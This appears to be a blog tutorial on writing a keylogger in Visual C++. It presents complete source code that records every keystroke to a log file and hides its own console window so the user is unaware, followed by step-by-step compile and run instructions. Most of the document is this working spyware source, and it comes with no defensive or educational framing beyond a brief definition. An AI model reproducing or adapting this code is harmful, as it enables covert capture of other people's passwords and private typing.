How To Make Your Own Key Logger In Visual C++

Today I am going to teach "How To Make Your Own Key Logger ". If you know the C++ then you can easily understand the program.
Now a days key loggers are common to all the advance users it is a basic software but very useful software . But many people don't know that what is key logger.


Key Loggers are often called Keystroke logging is the action of tracking (or logging) the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored.

Here is the example of some of the key loggers:
1>refog
2>beyond
3>elite etc.
but I prefer the ardamax keylogger. 

Now here is the source code which you can use to create your own Key Loggers:

Step1> Open Vissual C++

Step2> Go to File            -->     New

Step3> Select  Files Tab -->  Select  C++ Source File from list

Step4> paste this code given below:-

----------------x--------------------x-----------------x----------------x-

#include <iostream.h>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

 Step5> Save it any where you like

Step6Then go to Build       -->  Click Compile 

Step7Then again go to Build  --> Click  Build Cpp.Exe

Step8Exit the C++

Step9Go to the folder you have saved the data earlier

Step10Go to Debug folder inside the folder

Step11Click Cpp1.exe

Step12Yes you are the owner of a keylogger

Step13This Key Logger records all the keys pressed

Step14Open log.txt to view the keys pressed

Step15Use Task Manager to end the keylogger
